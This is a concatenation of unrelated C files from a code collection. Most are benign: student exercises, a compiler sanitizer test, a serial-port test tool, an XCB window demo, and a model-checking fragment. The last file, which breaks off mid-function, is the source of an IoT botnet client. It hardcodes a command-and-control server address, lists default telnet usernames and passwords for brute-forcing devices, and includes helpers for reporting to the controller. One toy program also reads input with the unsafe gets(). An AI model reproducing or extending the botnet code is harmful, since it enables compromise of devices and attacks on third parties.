__ok = ((((((((x_0 + (-1.0 * _x_x_0)) <= -14.0) && ((x_3 + (-1.0 * _x_x_0)) <= -11.0)) && (((x_0 + (-1.0 * _x_x_0)) == -14.0) || ((x_3 + (-1.0 * _x_x_0)) == -11.0))) && ((((x_1 + (-1.0 * _x_x_1)) <= -20.0) && ((x_3 + (-1.0 * _x_x_1)) <= -16.0)) && (((x_1 + (-1.0 * _x_x_1)) == -20.0) || ((x_3 + (-1.0 * _x_x_1)) == -16.0)))) && ((((x_0 + (-1.0 * _x_x_2)) <= -18.0) && ((x_1 + (-1.0 * _x_x_2)) <= -10.0)) && (((x_0 + (-1.0 * _x_x_2)) == -18.0) || ((x_1 + (-1.0 * _x_x_2)) == -10.0)))) && ((((x_0 + (-1.0 * _x_x_3)) <= -18.0) && ((x_2 + (-1.0 * _x_x_3)) <= -20.0)) && (((x_0 + (-1.0 * _x_x_3)) == -18.0) || ((x_2 + (-1.0 * _x_x_3)) == -20.0)))) && (((((_EL_U_94 == (_x__EL_U_94 || ((_x__EL_U_93 && (_x__EL_U_92 || (4.0 <= (_x_x_2 + (-1.0 * _x_x_3))))) || ( !((_x_x_0 + (-1.0 * _x_x_2)) <= 5.0))))) && ((_EL_U_92 == (_x__EL_U_92 || (4.0 <= (_x_x_2 + (-1.0 * _x_x_3))))) && (_EL_U_93 == ((_x__EL_U_93 && (_x__EL_U_92 || (4.0 <= (_x_x_2 + (-1.0 * _x_x_3))))) || ( !((_x_x_0 + (-1.0 * _x_x_2)) <= 5.0)))))) && (_x__J111 == (( !((_J111 && _J121) && _J126)) && (((_J111 && _J121) && _J126) || (((4.0 <= (x_2 + (-1.0 * x_3))) || ( !((4.0 <= (x_2 + (-1.0 * x_3))) || _EL_U_92))) || _J111))))) && (_x__J121 == (( !((_J111 && _J121) && _J126)) && (((_J111 && _J121) && _J126) || ((( !((x_0 + (-1.0 * x_2)) <= 5.0)) || ( !(( !((x_0 + (-1.0 * x_2)) <= 5.0)) || (_EL_U_93 && ((4.0 <= (x_2 + (-1.0 * x_3))) || _EL_U_92))))) || _J121))))) && (_x__J126 == (( !((_J111 && _J121) && _J126)) && (((_J111 && _J121) && _J126) || (((( !((x_0 + (-1.0 * x_2)) <= 5.0)) || (_EL_U_93 && ((4.0 <= (x_2 + (-1.0 * x_3))) || _EL_U_92))) || ( !(_EL_U_94 || (( !((x_0 + (-1.0 * x_2)) <= 5.0)) || (_EL_U_93 && ((4.0 <= (x_2 + (-1.0 * x_3))) || _EL_U_92)))))) || _J126))))));
_J126 = _x__J126;
_J121 = _x__J121;
_J111 = _x__J111;
_EL_U_92 = _x__EL_U_92;
x_3 = _x_x_3;
x_2 = _x_x_2;
_EL_U_93 = _x__EL_U_93;
x_1 = _x_x_1;
x_0 = _x_x_0;
_EL_U_94 = _x__EL_U_94;
}
}
|
the_stack_data/62637510.c | extern int __VERIFIER_nondet_int(void);
char *(cstrncat)(char *s1, const char *s2, int n)
{
char *s = s1;
/* Loop over the data in s1. */
while (*s != '\0')
s++;
/* s now points to s1's trailing null character, now copy
up to n bytes from s1 into s stopping if a null character
is encountered in s2.
It is not safe to use strncpy here since it copies EXACTLY n
characters, NULL padding if necessary. */
while (n != 0 && (*s = *s2++) != '\0') {
n--;
s++;
}
if (*s != '\0')
*s = '\0';
return s1;
}
int main() {
char *s1;
char *s2;
int n = __VERIFIER_nondet_int();
cstrncat(s1, s2, n);
return 0;
}
|
the_stack_data/116956.c | #include<stdlib.h>
#include<stdio.h>
int main()
{
char ch = '\0';
printf("%c\n",ch);
printf("%d\n",ch);
return 0;
}
|
the_stack_data/175142264.c | #include <stdio.h>
#include <errno.h>
#include <string.h>
void perror(const char *s)
{
int err = _geterror();
fputs(s, stderr);
fputs(": ", stderr);
fputs(strerror(err), stderr);
fputs("\n", stderr);
}
|
the_stack_data/237642263.c | /*
Autor: José García
Compilador: gcc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
Compilar: gcc Problema6.c -o Problema6 -lm
Fecha: Tue May 4 18:24:51 CST 2021
Librerias: stdio, (otras)
Resumen: Realizar cuatro sumatorias
Entradas: Límite superior de las sumatorias
Salidas: Sumatorias
*/
//Librerias
#include <stdio.h>
#include <math.h>
//Prototipos de funciones
int suma(int n);
float sumb(int n);
float sumc(int n);
float bode(int n);
void main(){
//Declaramos las variables que contendran los resultados y el entero ingresado por el ususario
int x,res1;
float res2;
//Bienvenida al usuario
puts("*****Cálculo de cuatro sumatorias (ver reporte)*****");
//Se solicita el límite superior y se almacena en la variable x
printf("Ingrese el límite superior de la sumatoria (entero): ");
scanf("%d",&x);
//Se calcula la primera suma y se imprime el resultado
res1 = suma(x);
printf("La sumatoria a) de 1 a %d es %d \n",x,res1);
//Se calcula la segunda suma y se imprime el resultado
res2 = sumb(x);
printf("La sumatoria b) de 2 a %d es %f \n",x,res2);
//Se calcula la tercera suma y se imprime el resultado
res2 = sumc(x);
printf("La sumatoria c) de 1 a %d es %f \n",x,res2);
//Se calcula la cuarta suma y se imprime el resultado
res2 = bode(x);
printf("La sucesión de Bode hasta %d es %f \n",x,res2);
}
int suma(int n){
//Iniciamos el resultado en cero
int res = 0;
for (int i = 1; i <= n; i++)
{
//Realizamos la sumatoria con la fórmula
res += i*i*(i-3);
}
//Devolvemos el resultado
return res;
}
float sumb(int n){
//Iniciamos el resultado en cero
float res = 0;
for (int i = 2; i <= n; i++)
{
//Realizamos la sumatoria con la fórmula, asegurandonos de que se tome el valor decimal, pues i es entero
res += (float)3/(i-1);
}
//Devolvemos el resultado
return res;
}
float sumc(int n){
//Iniciamos el resultado en cero
float res = 0;
//Debido a lo complejo de la expresión, declaramos dos variables auxiliares para realizar la sumatoria
float aux1,aux2;
aux1 = (1+sqrt(5))/2;
aux2 = (1-sqrt(5))/2;
for (int i = 1; i <= n; i++)
{
//Realizamos la sumatoria con la fórmula, asegurandonos de que se tome el valor decimal, pues i es entero
res += (float)(pow(aux1,(double)i)-pow(aux2,(double)i))/sqrt(5);
}
//Devolvemos el resultado
return res;
}
float bode(int n){
//Iniciamos el resultado en cero
float res = 0;
for (int i = 2; i <= n; i++)
{
//Realizamos la sumatoria con la fórmula
res += 0.1*(3*pow(2,i-2)+4);
}
//Devolvemos el resultado
return res;
}
|
the_stack_data/1017274.c | //Classification: #default/p/ML/UPO/dS/none/fr/cd
//Written by: Igor Eremeev
//Reviewed by: Sergey Pomelov
//Comment: if b > 10 , we create dynamic copy of variable 'a' with function 'func' and free it
#include <stdlib.h>
#include <stdio.h>
int *func(int a)
{
int *p = (int *)malloc(sizeof(int));
if (p == 0) {
return NULL;
}
(*p) = a;
return p;
}
int main(void)
{
int a = 1234;
int b, *q;
scanf ("%d", &b);
if (b > 10) {
q = func(a);
if (q == NULL) {
return 1;
}
printf ("%d", *q);
free(q);
}
printf ("%d", a);
return 0;
}
|
the_stack_data/88127.c | #include <stdlib.h>
#include <stdio.h>
int main(){
FILE *fp = fopen("prova.txt", "r");
int x;
if(fp == NULL){
printf("Errore nell'apertura del file\n");
exit(1);
} else {
printf("File aperto correttamente\n");
}
fscanf(fp, "%d", &x);
printf("%d\n", x);
fclose(fp);
return 0;
} |
the_stack_data/111078068.c | #include <stdio.h>
void main()
{
char name[100];
puts("Name: ");
gets(name);
printf("Hello, %s\n", name);
} |
the_stack_data/61075161.c | #include <stdio.h>
int main() {
int i = 1;
++i;
printf("i is %d\n", i);
return 0;
} |
the_stack_data/27965.c | #include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <inttypes.h>
#include <xcb/xcb.h>
#define WIDTH 300
#define HEIGHT 100
static xcb_gc_t getFontGC (xcb_connection_t *c,
xcb_screen_t *screen,
xcb_window_t window,
const char *font_name );
static void drawText (xcb_connection_t *c,
xcb_screen_t *screen,
xcb_window_t window,
int16_t x1,
int16_t y1,
const char *label );
static void
testCookie (xcb_void_cookie_t cookie,
xcb_connection_t *connection,
char *errMessage )
{
xcb_generic_error_t *error = xcb_request_check (connection, cookie);
if (error) {
fprintf (stderr, "ERROR: %s : %"PRIu8"\n", errMessage , error->error_code);
xcb_disconnect (connection);
exit (-1);
}
}
static void
drawText (xcb_connection_t *connection,
xcb_screen_t *screen,
xcb_window_t window,
int16_t x1,
int16_t y1,
const char *label )
{
/* get graphics context */
xcb_gcontext_t gc = getFontGC (connection, screen, window, "fixed");
/* draw the text */
xcb_void_cookie_t textCookie = xcb_image_text_8_checked (connection,
strlen (label),
window,
gc,
x1, y1,
label );
testCookie(textCookie, connection, "can't paste text");
/* free the gc */
xcb_void_cookie_t gcCookie = xcb_free_gc (connection, gc);
testCookie(gcCookie, connection, "can't free gc");
}
static xcb_gc_t
getFontGC (xcb_connection_t *connection,
xcb_screen_t *screen,
xcb_window_t window,
const char *font_name )
{
/* get font */
xcb_font_t font = xcb_generate_id (connection);
xcb_void_cookie_t fontCookie = xcb_open_font_checked (connection,
font,
strlen (font_name),
font_name );
testCookie(fontCookie, connection, "can't open font");
/* create graphics context */
xcb_gcontext_t gc = xcb_generate_id (connection);
uint32_t mask = XCB_GC_FOREGROUND | XCB_GC_BACKGROUND | XCB_GC_FONT;
uint32_t value_list[3] = { screen->black_pixel,
screen->white_pixel,
font };
xcb_void_cookie_t gcCookie = xcb_create_gc_checked (connection,
gc,
window,
mask,
value_list );
testCookie(gcCookie, connection, "can't create gc");
/* close font */
fontCookie = xcb_close_font_checked (connection, font);
testCookie(fontCookie, connection, "can't close font");
return gc;
}
static void
setWindowProperties (xcb_connection_t *connection,
xcb_window_t window,
char *title)
{
xcb_change_property(connection, XCB_PROP_MODE_REPLACE,
window, XCB_ATOM_WM_NAME,
XCB_ATOM_STRING,
8, strlen(title),title);
xcb_change_property(connection, XCB_PROP_MODE_REPLACE,
window, XCB_ATOM_WM_CLASS,
XCB_ATOM_STRING,
8, strlen(title),title);
// USE ATOMS to DEFINE PROPERTIES
xcb_atom_t window_type_atom, window_type_dock_atom;
xcb_intern_atom_cookie_t atom_cookie = xcb_intern_atom(connection, 0, strlen("_NET_WM_WINDOW_TYPE"), "_NET_WM_WINDOW_TYPE");
xcb_intern_atom_reply_t *atom_reply = xcb_intern_atom_reply(connection, atom_cookie, NULL);
if (!atom_reply) {
fprintf(stderr, "Unable to set window type. You will need to manually set your window manager to run lighthouse as you'd like.");
} else {
window_type_atom = atom_reply->atom;
free(atom_reply);
atom_cookie = xcb_intern_atom(connection, 0, strlen("_NET_WM_WINDOW_TYPE_DOCK"), "_NET_WM_WINDOW_TYPE_DOCK");
atom_reply = xcb_intern_atom_reply(connection, atom_cookie, NULL);
if (atom_reply) {
window_type_dock_atom = atom_reply->atom;
free(atom_reply);
xcb_change_property_checked(connection, XCB_PROP_MODE_REPLACE, window, window_type_atom, XCB_ATOM_ATOM, 32, 1, &window_type_dock_atom);
} else {
fprintf(stderr, "Unable to set window type. You will need to manually set your window manager to run lighthouse as you'd like.");
}
}
return;
}
int
main ()
{
// get the connection
int screenNum;
xcb_connection_t *connection = xcb_connect (NULL, &screenNum);
if (!connection) {
fprintf (stderr, "ERROR: can't connect to an X server\n");
return -1;
}
// get the current screen
xcb_screen_iterator_t iter = xcb_setup_roots_iterator (xcb_get_setup (connection));
xcb_screen_t *screen = iter.data;
// Check to see if the screen could be found
if (!screen) {
fprintf (stderr, "ERROR: can't get the current screen\n");
xcb_disconnect (connection);
return -1;
}
// create the window
xcb_window_t window = xcb_generate_id (connection);
uint32_t mask = XCB_CW_BACK_PIXEL | XCB_CW_EVENT_MASK;
uint32_t values[2];
values[0] = screen->white_pixel;
values[1] = XCB_EVENT_MASK_KEY_RELEASE |
XCB_EVENT_MASK_KEY_PRESS |
XCB_EVENT_MASK_BUTTON_PRESS |
XCB_EVENT_MASK_EXPOSURE |
XCB_EVENT_MASK_POINTER_MOTION;
values[0] = screen->width_in_pixels / 2 - WIDTH/2;
values[1] = screen->height_in_pixels / 2 - HEIGHT/2;
xcb_void_cookie_t windowCookie = xcb_create_window_checked (connection,
screen->root_depth,
window, screen->root,
values[0], values[1],
WIDTH, HEIGHT,
10, XCB_WINDOW_CLASS_INPUT_OUTPUT,
screen->root_visual,
mask, values);
testCookie(windowCookie, connection, "can't create window");
// Name the window
char *title = "BMenu";
setWindowProperties(connection,window,title);
// Map the window and check to see if it worked
xcb_void_cookie_t mapCookie = xcb_map_window_checked (connection, window);
testCookie(mapCookie, connection, "can't map window");
// Draw the window
xcb_flush(connection);
// event loop
xcb_generic_event_t *event;
while (1) { ;
if ( (event = xcb_poll_for_event(connection)) ) {
switch (event->response_type & ~0x80) {
case XCB_EXPOSE: {
// Get the input focus on initial start-up
xcb_void_cookie_t focus_cookie = xcb_set_input_focus_checked(connection, XCB_INPUT_FOCUS_POINTER_ROOT, window, XCB_CURRENT_TIME);
testCookie(focus_cookie, connection, "Failed to grab focus.");
// Draw some text
drawText (connection,
screen,
window,
WIDTH/2-strlen("BMenu"), HEIGHT/2,
"BMenu" );
break;
}
case XCB_ENTER_NOTIFY: {
// Check to see if mouse entered the window
// and set the window to be in focus
xcb_void_cookie_t focus_cookie = xcb_set_input_focus_checked(connection, XCB_INPUT_FOCUS_POINTER_ROOT, window, XCB_CURRENT_TIME);
testCookie(focus_cookie, connection, "Failed to grab focus.\n");
}
case XCB_KEY_RELEASE: { //Exit program if escape is pressed
// Map key release event
xcb_key_release_event_t *kr = (xcb_key_release_event_t *)event;
// Check to see if escape key was pressed
switch (kr->detail) {
// ESC key
case 9: {
free (event);
xcb_disconnect (connection);
return 0;
}
}
free (event);
}
case XCB_EVENT_MASK_BUTTON_PRESS: {
// Get the input focus
xcb_void_cookie_t focus_cookie = xcb_set_input_focus_checked(connection, XCB_INPUT_FOCUS_POINTER_ROOT,window, XCB_CURRENT_TIME);
testCookie(focus_cookie, connection, "Failed to grab focus.\n");
// Temporary check to see if the window can be moved
values[0] = values[0] -10;
values[1] = values[1] -10;
xcb_configure_window(connection, window, XCB_CONFIG_WINDOW_X | XCB_CONFIG_WINDOW_Y, values);
xcb_void_cookie_t mapCookie = xcb_map_window_checked (connection, window);
testCookie(mapCookie, connection, "Can't move the window, click \n");
xcb_flush(connection);
break;
}
}
}
}
return 0;
}
|
the_stack_data/22014067.c | extern int testLibCycleB2(void);
int testLibCycleA2(void) { return testLibCycleB2(); }
|
the_stack_data/20450693.c | // http://dl.cubieboard.org/parteners/waveshare/Source_Code/a20-cubietruck-dvk/Driver%20and%20API/API/485_test_uart7/test_485.c
/*************************************************************
*************************485_test****************************
**************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <termios.h>
#include <errno.h>
#include <getopt.h>
#include <string.h>
#include <stdlib.h>
#include <pthread.h>
#define TITLE "485 TEST"
#define FALSE 1
#define TRUE 0
FILE *outfile;
void print_usage();
char buf[512] = {0}; /* Recvice data buffer */
char message[104] = {0};
int fd = 0;
int fd_rse;
int ret;
int send = 4;//up
int receive = 3;//down
int speed_arr[] = {
B921600, B460800, B230400, B115200, B57600, B38400, B19200,
B9600, B4800, B2400, B1200, B300,
};
int name_arr[] = {
921600, 460800, 230400, 115200, 57600, 38400, 19200,
9600, 4800, 2400, 1200, 300,
};
void shownInformation(void)
{
printf("*********************************************\n");
printf("\t\t %s \t\n", TITLE);
printf("*********************************************\n");
}
void set_speed(int fd, int speed)
{
int i;
int status;
struct termios Opt;
tcgetattr(fd, &Opt);
cfmakeraw(&Opt);
for ( i= 0; i < sizeof(speed_arr) / sizeof(int); i++)
{
if (speed == name_arr[i])
{
tcflush(fd, TCIOFLUSH);
cfsetispeed(&Opt, speed_arr[i]);
cfsetospeed(&Opt, speed_arr[i]);
status = tcsetattr(fd, TCSANOW, &Opt);
if (status != 0)
perror("tcsetattr fd1");
return;
}
tcflush(fd,TCIOFLUSH);
}
if (i == 12)
{
printf("\tSorry, please set the correct baud rate!\n\n");
print_usage(stderr, 1);
}
}
int set_Parity(int fd,int databits,int stopbits,int parity)
{
struct termios options;
if ( tcgetattr( fd,&options) != 0)
{
perror("SetupSerial 1");
return(FALSE);
}
options.c_cflag &= ~CSIZE ;
options.c_oflag = 0;
switch (databits)
{
case 7:
options.c_cflag |= CS7;
break;
case 8:
options.c_cflag |= CS8;
break;
default:
fprintf(stderr,"Unsupported data size\n");
return (FALSE);
}
switch (parity)
{
case 'n':
case 'N':
options.c_cflag &= ~PARENB; /* Clear parity enable */
options.c_iflag &= ~INPCK; /* Enable parity checking */
break;
case 'o':
case 'O':
options.c_cflag |= (PARODD | PARENB);
options.c_iflag |= INPCK; /* Disnable parity checking */
break;
case 'e':
case 'E':
options.c_cflag |= PARENB; /* Enable parity */
options.c_cflag &= ~PARODD;
options.c_iflag |= INPCK; /* Disnable parity checking */
break;
case 'S':
case 's': /*as no parity*/
options.c_cflag &= ~PARENB;
options.c_cflag &= ~CSTOPB;
break;
default:
fprintf(stderr,"Unsupported parity\n");
return (FALSE);
}
switch (stopbits)
{
case 1:
options.c_cflag &= ~CSTOPB;
break;
case 2:
options.c_cflag |= CSTOPB;
break;
default:
fprintf(stderr,"Unsupported stop bits\n");
return (FALSE);
}
/* Set input parity option */
if (parity != 'n')
options.c_iflag |= INPCK;
options.c_cc[VTIME] = 150; // 15 seconds
options.c_cc[VMIN] = 0;
options.c_lflag &= ~(ECHO | ICANON);
tcflush(fd,TCIFLUSH); /* Update the options and do it NOW */
if (tcsetattr(fd,TCSANOW,&options) != 0)
{
perror("SetupSerial 3");
return (FALSE);
}
return (TRUE);
}
int OpenDev(char *Dev)
{
int fd = open( Dev, O_RDWR ); //| O_NOCTTY | O_NDELAY
if (-1 == fd) {
perror("Can't Open Serial Port");
return -1;
} else{
return fd;
}
}
/* The name of this program */
const char * program_name;
/* Prints usage information for this program to STREAM (typically
* stdout or stderr), and exit the program with EXIT_CODE. Does not
* return.
*/
void print_usage (FILE *stream, int exit_code)
{
fprintf(stream, "Usage: %s option [ dev... ] \n", program_name);
fprintf(stream,
"\t-h --help Display this usage information.\n"
"\t-d --device The device ttyS[0-3] or ttyO[0-5]\n"
"\t-b --baudrate Set the baud rate you can select\n"
"\t [230400, 115200, 57600, 38400, 19200, 9600, 4800, 2400, 1200, 300]\n"
"\t-s --string Write the device data\n");
exit(exit_code);
}
void *thread_receive_function(void *arg)
{
unsigned int i = 1, j = 1,num_read;
tcflush(fd, TCIOFLUSH);
while(1)
{
num_read = read(fd, buf, sizeof(buf));
if (num_read > 0)
{
buf[num_read] = '\n';
printf("sum = %4d num = %2d recv = %s", j++,num_read, buf);
memset(buf, '\0', sizeof(buf));
}
}
}
void func_receive()
{
int res;
int stop;
pthread_t a_thread;
/*io_ctl:pulldown*/
ret = write(fd_rse, &receive, 4);
if(ret < 0)
{
perror("error to write\n");
exit(1);
}
usleep(100);
res = pthread_create(&a_thread, NULL, thread_receive_function, NULL);
if (res != 0)
{
perror("Thread creation failed");
exit(1);
}
usleep(100);
while (1)
{
printf("Select 3 : Stop Receive\n");
printf(">\n");
scanf ("%d", &stop);
getchar();
if (stop == 3)
{
res = pthread_cancel(a_thread);
if (res != 0)
{
perror("Thread cancelation failed");
exit(1);
}
break;
}
else
{
printf("Sorry! Please select [3] stop receive\n\n");
}
}
}
void *thread_send_function(void *arg)
{
unsigned int num_send = 0, j = 0;
tcflush(fd, TCIOFLUSH);
while (1)
{
j = write(fd, message, strlen(message));
num_send++;
printf("sum = %4d num = %2d send = %s\n",num_send,j,message );
sleep(1);
}
}
void func_send()
{
unsigned char len;
int stop;
pthread_t a_thread;
int res;
printf("\tPlease enter the information to be sent off!\n");
/*io_ctl:pullup*/
ret = write(fd_rse, &send, 4);
if(ret < 0)
{
perror("error to write\n");
exit(1);
}
usleep(100);
while (1)
{
memset (message, '\0', sizeof(message));
scanf("%[^\n]", message);
printf("message = %s\n", message);
len = strlen(message);
printf("len = %d\n", len);
if (len > 0)
{
res = pthread_create(&a_thread, NULL, thread_send_function, (void *)message);
if (res != 0)
{
perror("Thread creation failed");
exit(1);
}
while (1)
{
printf("Information is sent......\n");
printf("Select 3 : Stop Send\n");
printf(">");
scanf ("%d", &stop);
getchar();
if (stop == 3)
{
res = pthread_cancel(a_thread);
if (res != 0)
{
perror("Thread cancelation failed");
exit(1);
}
break;
}
else
{
printf("Sorry! Please select [3] stop send\n\n");
}
}
break;
}
else
{
printf("Sorry you can not enter an empty message!\n\n");
}
}
}
void display_two_menu()
{
int flag_num;
while (1)
{
printf("\nSelect 1 : Send a message\n");
printf("Select 2 : Receive messages\n");
printf(">");
scanf("%d", &flag_num);
getchar();
switch (flag_num)
{
case 1 :
func_send();
break;
case 2 :
func_receive();
break;
default :
printf("\n\nSorry! Please select the number of 1 to 2...\n");
}
}
}
void funct_select()
{
display_two_menu();
}
int main(int argc, char *argv[])
{
int next_option, havearg = 0;
char *device;
int i=0,j=0;
int nread; /* Read the counts of data */
int speed = 0;
char *xmit = "6"; /* Default send data */
const char *const short_options = "hd:s:b:";
const struct option long_options[] = {
{ "help", 0, NULL, 'h'},
{ "device", 1, NULL, 'd'},
{ "string", 1, NULL, 's'},
{ "baudrate", 1, NULL, 'b'},
{ NULL, 0, NULL, 0 }
};
program_name = argv[0];
do {
next_option = getopt_long (argc, argv, short_options, long_options, NULL);
switch (next_option)
{
case 'h':
print_usage (stdout, 0);
case 'd':
device = optarg;
havearg = 1;
break;
case 'b':
speed = atoi(optarg);
break;
case 's':
xmit = optarg;
havearg = 1;
break;
case -1:
if (havearg)
break;
case '?':
print_usage (stderr, 1);
default:
abort ();
}
}while(next_option != -1);
fd = OpenDev(device);
// fd_rse = open("/dev/ctl_io",O_RDWR);
// if(fd_rse < 0)
// {
// perror("open error");
// exit(1);
// }
shownInformation();
if (fd > 0)
{
set_speed(fd, speed);
}
else
{
fprintf(stderr, "Error opening %s: %s\n", device, strerror(errno));
exit(1);
}
if (set_Parity(fd,8,1,'N')== FALSE)
{
fprintf(stderr, "Set Parity Error\n");
close(fd);
exit(1);
}
funct_select();
close(fd);
exit(0);
}
|
the_stack_data/787060.c | /* PR sanitizer/80536 */
/* { dg-do compile } */
/* { dg-options "-fsanitize=undefined" } */
int
foo (int i)
{
return ((i * (unsigned long long) (-0 + 1UL)) * 2) % 1;
}
|
the_stack_data/68461.c | // ___ __ _
// / \___ / _(_)_ __ ___ ___
// / /\ / _ \ |_| | '_ \ / _ \/ __|
// / /_// __/ _| | | | | __/\__ \
// /___,' \___|_| |_|_| |_|\___||___/
#define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
#define PAD_RIGHT 1
#define PAD_ZERO 2
#define PRINT_BUF_LEN 12
#define CMD_IAC 255
#define CMD_WILL 251
#define CMD_WONT 252
#define CMD_DO 253
#define CMD_DONT 254
#define OPT_SGA 3
// _____ _ _
// \_ \_ __ ___| |_ _ __| | ___ ___
// / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
// /\/ /_ | | | | (__| | |_| | (_| | __/\__ \
// \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
#include <stdlib.h>
#include <stdarg.h>
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <signal.h>
#include <strings.h>
#include <string.h>
#include <sys/utsname.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <net/if.h>
// ___ __ _
// / __\___ _ __ / _(_) __ _
// / / / _ \| '_ \| |_| |/ _` |
// / /__| (_) | | | | _| | (_| |
// \____/\___/|_| |_|_| |_|\__, |
// |___/
unsigned char *commServer[] =
{
"185.62.189.242:7632"
};
// ___ _
// / __\ _ _ __ ___| |_(_) ___ _ __ ___
// / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
// / / | |_| | | | | (__| |_| | (_) | | | \__ \
// \/ \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
int initConnection();
int getBogos(unsigned char *bogomips);
int getCores();
int getCountry(unsigned char *buf, int bufsize);
void makeRandomStr(unsigned char *buf, int length);
int sockprintf(int sock, char *formatStr, ...);
char *inet_ntoa(struct in_addr in);
// ___ _ _ _
// / _ \ | ___ | |__ __ _| |___
// / /_\/ |/ _ \| '_ \ / _` | / __|
// / /_\\| | (_) | |_) | (_| | \__ \
// \____/|_|\___/|_.__/ \__,_|_|___/
int mainCommSock = 0, currentServer = -1, gotIP = 0;
uint32_t *pids;
uint32_t scanPid;
uint64_t numpids = 0;
struct in_addr ourIP;
unsigned char macAddress[6] = {0};
char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "guest\0"};
char *passwords[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0"};
// ___ ___ __ __ ___
// / __\/ _ \/__\ /\ \ \/ _ \
// / _\ / /_)/ \// / \/ / /_\/
// / / / ___/ _ \/ /\ / /_\\
// \/ \/ \/ \_/\_\ \/\____/
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
void init_rand(uint32_t x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (uint32_t)(t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
// _ _ _
// /\ /\| |_(_) |___
// / / \ \ __| | / __|
// \ \_/ / |_| | \__ \
// \___/ \__|_|_|___/
void trim(char *str)
{
int i;
int begin = 0;
int end = strlen(str) - 1;
while (isspace(str[begin])) begin++;
while ((end >= begin) && isspace(str[end])) end--;
for (i = begin; i <= end; i++) str[i - begin] = str[i];
str[i - begin] = '\0';
}
static void printchar(unsigned char **str, int c)
{
if (str) {
**str = c;
++(*str);
}
else (void)write(1, &c, 1);
}
static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
{
register int pc = 0, padchar = ' ';
if (width > 0) {
register int len = 0;
register const unsigned char *ptr;
for (ptr = string; *ptr; ++ptr) ++len;
if (len >= width) width = 0;
else width -= len;
if (pad & PAD_ZERO) padchar = '0';
}
if (!(pad & PAD_RIGHT)) {
for ( ; width > 0; --width) {
printchar (out, padchar);
++pc;
}
}
for ( ; *string ; ++string) {
printchar (out, *string);
++pc;
}
for ( ; width > 0; --width) {
printchar (out, padchar);
++pc;
}
return pc;
}
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
{
unsigned char print_buf[PRINT_BUF_LEN];
register unsigned char *s;
register int t, neg = 0, pc = 0;
register unsigned int u = i;
if (i == 0) {
print_buf[0] = '0';
print_buf[1] = '\0';
return prints (out, print_buf, width, pad);
}
if (sg && b == 10 && i < 0) {
neg = 1;
u = -i;
}
s = print_buf + PRINT_BUF_LEN-1;
*s = '\0';
while (u) {
t = u % b;
if( t >= 10 )
t += letbase - '0' - 10;
*--s = t + '0';
u /= b;
}
if (neg) {
if( width && (pad & PAD_ZERO) ) {
printchar (out, '-');
++pc;
--width;
}
else {
*--s = '-';
}
}
return pc + prints (out, s, width, pad);
}
static int print(unsigned char **out, const unsigned char *format, va_list args )
{
register int width, pad;
register int pc = 0;
unsigned char scr[2];
for (; *format != 0; ++format) {
if (*format == '%') {
++format;
width = pad = 0;
if (*format == '\0') break;
if (*format == '%') goto out;
if (*format == '-') {
++format;
pad = PAD_RIGHT;
}
while (*format == '0') {
++format;
pad |= PAD_ZERO;
}
for ( ; *format >= '0' && *format <= '9'; ++format) {
width *= 10;
width += *format - '0';
}
if( *format == 's' ) {
register char *s = (char *)va_arg( args, int );
pc += prints (out, s?s:"(null)", width, pad);
continue;
}
if( *format == 'd' ) {
pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
continue;
}
if( *format == 'x' ) {
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
continue;
}
if( *format == 'X' ) {
pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
continue;
}
if( *format == 'u' ) {
pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
continue;
}
if( *format == 'c' ) {
scr[0] = (unsigned char)va_arg( args, int );
scr[1] = '\0';
pc += prints (out, scr, width, pad);
continue;
}
}
else {
out:
printchar (out, *format);
++pc;
}
}
if (out) **out = '\0';
va_end( args );
return pc;
}
int zprintf(const unsigned char *format, ...)
{
va_list args;
va_start( args, format );
return print( 0, format, args );
}
int szprintf(unsigned char *out, const unsigned char *format, ...)
{
va_list args;
va_start( args, format );
return print( &out, format, args );
}
int sockprintf(int sock, char *formatStr, ...)
{
unsigned char *textBuffer = malloc(2048);
memset(textBuffer, 0, 2048);
char *orig = textBuffer;
va_list args;
va_start(args, formatStr);
print(&textBuffer, formatStr, args);
va_end(args);
orig[strlen(orig)] = '\n';
zprintf("buf: %s\n", orig);
int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
free(orig);
return q;
}
static int *fdopen_pids;
int fdpopen(unsigned char *program, register unsigned char *type)
{
register int iop;
int pdes[2], fds, pid;
if (*type != 'r' && *type != 'w' || type[1]) return -1;
if (pipe(pdes) < 0) return -1;
if (fdopen_pids == NULL) {
if ((fds = getdtablesize()) <= 0) return -1;
if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
}
switch (pid = vfork())
{
